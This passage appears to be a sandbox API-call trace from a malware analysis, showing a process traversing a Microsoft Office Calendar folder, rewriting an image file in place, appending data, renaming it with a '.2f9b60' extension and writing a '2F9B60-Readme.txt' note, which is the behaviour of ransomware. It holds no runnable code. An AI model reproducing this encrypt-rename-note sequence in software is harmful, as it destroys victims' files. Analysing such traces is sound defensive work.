Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\" [0151.311] wcscat (in: _Dest=0x1cd65fa0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\*" [0151.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027e2d0 [0151.311] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\*", lpFindFileData=0x2027e2d0 | out: lpFindFileData=0x2027e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61a457d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9dd30 [0151.325] wcscmp (_String1=".", _String2=".") returned 0 [0151.325] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x2027e2d0 | out: lpFindFileData=0x2027e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61a457d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.325] wcscmp (_String1="..", _String2=".") returned 1 [0151.325] wcscmp (_String1="..", _String2="..") returned 0 [0151.326] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x2027e2d0 | out: lpFindFileData=0x2027e2d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b62000, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0x51bb8730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4b62000, ftLastWriteTime.dwHighDateTime=0x1ca0408, nFileSizeHigh=0x0, nFileSizeLow=0x3424, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarToolIconImages.jpg", cAlternateFileName="CALEND~1.JPG")) returned 1 [0151.326] wcscmp (_String1="CalendarToolIconImages.jpg", _String2=".") returned 1 [0151.326] wcscmp (_String1="CalendarToolIconImages.jpg", _String2="..") returned 1 [0151.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd4) returned 0x1b776850 [0151.326] wcscpy (in: _Dest=0x1b776850, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar" [0151.326] wcscat (in: _Dest=0x1b776850, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\" [0151.326] wcscat (in: _Dest=0x1b776850, _Source="CalendarToolIconImages.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImages.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImages.jpg" [0151.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendartooliconimages.jpg")) returned 0x20 [0151.327] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImages.jpg", dwFileAttributes=0x20) returned 1 [0151.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendartooliconimages.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x250c [0151.328] GetFileSizeEx (in: hFile=0x250c, lpFileSize=0x29adfc50 | out: lpFileSize=0x29adfc50*=13348) returned 1 [0151.328] SetFilePointerEx (in: hFile=0x250c, liDistanceToMove=0x3420, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.328] ReadFile (in: hFile=0x250c, lpBuffer=0x29adfbd0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29adfc18, lpOverlapped=0x0 | out: lpBuffer=0x29adfbd0*, lpNumberOfBytesRead=0x29adfc18*=0x4, lpOverlapped=0x0) returned 1 [0151.358] SetFilePointerEx (in: hFile=0x250c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6eb0 [0151.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f7000 [0151.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f7090 [0151.359] NtQuerySystemTime (in: CurrentTime=0x29adfb10 | out: CurrentTime=0x29adfb10*=132462177565690000) returned 0x0 [0151.359] RtlRandomEx (in: Seed=0x29adfb00 | out: Seed=0x29adfb00) returned 0x5797eed1 [0151.359] RtlRandomEx (in: Seed=0x29adfb00 | out: Seed=0x29adfb00) returned 0x759f296f [0151.359] RtlRandomEx (in: Seed=0x29adfb00 | out: Seed=0x29adfb00) returned 0x37acbf0c [0151.359] RtlRandomEx (in: Seed=0x29adfb00 | out: Seed=0x29adfb00) returned 0x6db82f2 [0151.359] RtlRandomEx (in: Seed=0x29adfb00 | out: Seed=0x29adfb00) returned 0x32bd5f64 [0151.359] RtlRandomEx (in: Seed=0x29adfb00 | out: Seed=0x29adfb00) returned 0x18da44d7 [0151.359] RtlRandomEx (in: Seed=0x29adfb00 | out: Seed=0x29adfb00) returned 0x6e8385d4 [0151.359] RtlRandomEx (in: Seed=0x29adfb00 | out: Seed=0x29adfb00) returned 0x75254c48 [0151.359] RtlRandomEx (in: Seed=0x29adfb00 | out: Seed=0x29adfb00) returned 0x157eec43 [0151.359] RtlRandomEx (in: Seed=0x29adfb00 | out: Seed=0x29adfb00) returned 0x4889f767 [0151.359] RtlRandomEx (in: Seed=0x29adfb00 | out: Seed=0x29adfb00) returned 0x1df70c2e [0151.359] RtlRandomEx (in: Seed=0x29adfb00 | out: Seed=0x29adfb00) returned 0xe869ab6 [0151.359] RtlRandomEx (in: Seed=0x29adfb00 | out: Seed=0x29adfb00) returned 0x196362a2 [0151.359] RtlRandomEx (in: Seed=0x29adfb00 | out: Seed=0x29adfb00) returned 0x135793e7 [0151.359] RtlRandomEx (in: Seed=0x29adfb00 | out: Seed=0x29adfb00) returned 0x9a179a3 [0151.359] RtlRandomEx (in: Seed=0x29adfb00 | out: Seed=0x29adfb00) returned 0x34638469 [0151.359] RtlRandomEx (in: Seed=0x29adfb00 | out: Seed=0x29adfb00) returned 0x72eb15f6 [0151.359] RtlRandomEx (in: Seed=0x29adfb00 | out: Seed=0x29adfb00) returned 0x73d6491d [0151.359] RtlRandomEx (in: Seed=0x29adfb00 | out: Seed=0x29adfb00) returned 0x23deb18f [0151.359] RtlRandomEx (in: Seed=0x29adfb00 | out: Seed=0x29adfb00) returned 0x6699eb54 [0151.359] RtlRandomEx (in: Seed=0x29adfb00 | out: Seed=0x29adfb00) returned 0x7f4339f0 [0151.360] RtlRandomEx (in: Seed=0x29adfb00 | out: Seed=0x29adfb00) returned 0xb988a2e [0151.360] RtlRandomEx (in: Seed=0x29adfb00 | out: Seed=0x29adfb00) returned 0x57e06b1b [0151.360] RtlRandomEx (in: Seed=0x29adfb00 | out: Seed=0x29adfb00) returned 0x35c09ce4 [0151.360] RtlRandomEx (in: Seed=0x29adfb00 | out: Seed=0x29adfb00) returned 0xd45ecd2 [0151.360] RtlRandomEx (in: Seed=0x29adfb00 | out: Seed=0x29adfb00) returned 0x3703105c [0151.360] RtlRandomEx (in: Seed=0x29adfb00 | out: Seed=0x29adfb00) returned 0xf77a950 [0151.360] RtlRandomEx (in: Seed=0x29adfb00 | out: Seed=0x29adfb00) returned 0x1d1ec309 [0151.360] RtlRandomEx (in: Seed=0x29adfb00 | out: Seed=0x29adfb00) returned 0x575a2f0 [0151.360] RtlRandomEx (in: Seed=0x29adfb00 | out: Seed=0x29adfb00) returned 0x7ee063be [0151.360] RtlRandomEx (in: Seed=0x29adfb00 | out: Seed=0x29adfb00) returned 0x6066e5a1 [0151.360] RtlRandomEx (in: Seed=0x29adfb00 | out: Seed=0x29adfb00) returned 0x785e8152 [0151.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b9a0 [0151.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8694c0 [0151.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ba60 [0151.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8694c0) returned 1 [0151.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f7090) returned 1 [0151.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6eb0) returned 1 [0151.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420586f0 [0151.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8694c0 [0151.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6eb0 [0151.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6eb0) returned 1 [0151.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424db5c0 [0151.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424df1d0 [0151.369] ReadFile (in: hFile=0x250c, lpBuffer=0x424db5c0, nNumberOfBytesToRead=0x3424, lpNumberOfBytesRead=0x29adfb00, lpOverlapped=0x0 | out: lpBuffer=0x424db5c0*, lpNumberOfBytesRead=0x29adfb00*=0x3424, lpOverlapped=0x0) returned 1 [0151.385] SetFilePointerEx (in: hFile=0x250c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.385] WriteFile (in: hFile=0x250c, lpBuffer=0x424df1d0*, nNumberOfBytesToWrite=0x3424, lpNumberOfBytesWritten=0x29adfb04, lpOverlapped=0x0 | out: lpBuffer=0x424df1d0*, lpNumberOfBytesWritten=0x29adfb04*=0x3424, lpOverlapped=0x0) returned 1 [0162.569] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19050 [0162.569] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19080 [0162.570] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19080) returned 1 [0162.570] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424df1d0) returned 1 [0162.570] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424db5c0) returned 1 [0162.570] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8694c0) returned 1 [0162.571] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420586f0) returned 1 [0162.571] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x420586f0 [0162.571] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420586a0 [0162.571] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8694c0 [0162.572] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19080 [0162.572] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19080) returned 1 [0162.572] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x42058380 [0162.572] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19080 [0162.572] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c190b0 [0162.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c190b0) returned 1 [0162.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8694c0) returned 1 [0162.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420586a0) returned 1 [0162.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x126) returned 0x42c20090 [0162.574] SetFilePointerEx (in: hFile=0x250c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.574] WriteFile (in: hFile=0x250c, lpBuffer=0x42c20090*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x29adfc20, lpOverlapped=0x0 | out: lpBuffer=0x42c20090*, lpNumberOfBytesWritten=0x29adfc20*=0x126, lpOverlapped=0x0) returned 1 [0164.677] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c20090) returned 1 [0164.677] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058380) returned 1 [0164.677] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19080) returned 1 [0164.678] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420586f0) returned 1 [0164.678] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19050) returned 1 [0164.678] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f7000) returned 1 [0164.678] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b9a0) returned 1 [0164.678] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ba60) returned 1 [0164.678] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe2) returned 0x1b799610 [0164.679] wcscpy (in: _Dest=0x1b799610, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImages.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImages.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImages.jpg" [0164.679] wcscat (in: _Dest=0x1b799610, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImages.jpg.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImages.jpg.2f9b60" [0164.679] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImages.jpg.2f9b60", NtPathName=0x29adfc40, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImages.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x100) returned 0x42c16f70 [0164.681] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c16f70) returned 1 [0164.681] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c32950) returned 1 [0164.681] NtQueryInformationFile (in: FileHandle=0x250c, IoStatusBlock=0x29adfca8, FileInformation=0x29adfcb8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x29adfca8, FileInformation=0x29adfcb8) returned 0x0 [0164.681] NtSetInformationFile (FileHandle=0x250c, IoStatusBlock=0x29adfca8, FileInformation=0x29adfcb8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0164.683] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b799610) returned 1 [0164.683] FlushFileBuffers (hFile=0x250c) returned 1 [0166.274] CloseHandle (hObject=0x250c) returned 1 [0200.312] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4205fdf0 [0200.313] wcscpy (in: _Dest=0x4205fdf0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\" [0200.313] wcscat (in: _Dest=0x4205fdf0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\2F9B60-Readme.txt" [0200.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\2f9b60-readme.txt")) returned 0xffffffff [0200.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0203.949] WriteFile (in: hFile=0x534, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x29adfb60, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x29adfb60*=0xba9, lpOverlapped=0x0) returned 1 [0209.364] CloseHandle (hObject=0x534) returned 1 [0216.632] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205fdf0) returned 1 [0216.632] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776850) returned 1 [0216.632] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x2027e2d0 | out: lpFindFileData=0x2027e2d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb2cb800, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0x60120f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb2cb800, ftLastWriteTime.dwHighDateTime=0x1ca0408, nFileSizeHigh=0x0, nFileSizeLow=0xc38, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarToolIconImagesMask.bmp", cAlternateFileName="CALEND~1.BMP")) returned 1 [0216.632] wcscmp (_String1="CalendarToolIconImagesMask.bmp", _String2=".") returned 1 [0216.632] wcscmp (_String1="CalendarToolIconImagesMask.bmp", _String2="..") returned 1 [0216.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xdc) returned 0x1ceb54e0 [0216.633] wcscpy (in: _Dest=0x1ceb54e0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar" [0216.633] wcscat (in: _Dest=0x1ceb54e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\" [0216.633] wcscat (in: _Dest=0x1ceb54e0, _Source="CalendarToolIconImagesMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImagesMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImagesMask.bmp" [0216.633] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ceb54e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c1c [0216.728] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x2027e2d0 | out: lpFindFileData=0x2027e2d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c7f8600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51bb8730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c7f8600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3fa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarViewButtonImages.jpg", cAlternateFileName="CALEND~2.JPG")) returned 1 [0216.728] wcscmp (_String1="CalendarViewButtonImages.jpg", _String2=".") returned 1 [0216.728] wcscmp (_String1="CalendarViewButtonImages.jpg", _String2="..") returned 1 [0216.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd8) returned 0x1ced0900 [0216.736] wcscpy (in: _Dest=0x1ced0900, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar" [0216.736] wcscat (in: _Dest=0x1ced0900, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\" [0216.736] wcscat (in: _Dest=0x1ced0900, _Source="CalendarViewButtonImages.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarViewButtonImages.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarViewButtonImages.jpg" [0216.736] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced0900, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x62c [0216.753] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x2027e2d0 | out: lpFindFileData=0x2027e2d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c7f8600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x52b0b4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c7f8600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1b49, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobeButtonImage.jpg", cAlternateFileName="GLOBEB~1.JPG")) returned 1 [0216.753] wcscmp (_String1="GlobeButtonImage.jpg", _String2=".") returned 1 [0216.753] wcscmp (_String1="GlobeButtonImage.jpg", _String2="..") returned 1 [0216.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc8) returned 0x1182d0 [0216.753] wcscpy (in: _Dest=0x1182d0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar" [0216.753] wcscat (in: _Dest=0x1182d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\" [0216.753] wcscat (in: _Dest=0x1182d0, _Source="GlobeButtonImage.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImage.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImage.jpg" [0216.753] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1182d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b4 [0216.758] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x2027e2d0 | out: lpFindFileData=0x2027e2d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c7f8600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c7f8600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x778, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobeButtonImageMask.bmp", cAlternateFileName="GLOBEB~1.BMP")) returned 1 [0216.758] wcscmp (_String1="GlobeButtonImageMask.bmp", _String2=".") returned 1 [0216.758] wcscmp (_String1="GlobeButtonImageMask.bmp", _String2="..") returned 1 [0216.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd0) returned 0x1ced1000 [0216.758] wcscpy (in: _Dest=0x1ced1000, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar" [0216.758] wcscat (in: _Dest=0x1ced1000, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\" [0216.758] wcscat (in: _Dest=0x1ced1000, _Source="GlobeButtonImageMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImageMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImageMask.bmp" [0216.758] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced1000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe2c [0216.760] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x2027e2d0 | out: lpFindFileData=0x2027e2d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c7f8600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c7f8600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x778, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobeButtonImageMask.bmp", cAlternateFileName="GLOBEB~1.BMP")) returned 0 [0216.760] FindClose (in: hFindFile=0x1cd9dd30 | out: hFindFile=0x1cd9dd30) returned 1 [0216.762] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027e2d0) returned 1 [0216.763] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65fa0) returned 1 [0216.763] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861490) returned 1 [0216.764] FindNextFileW (in: 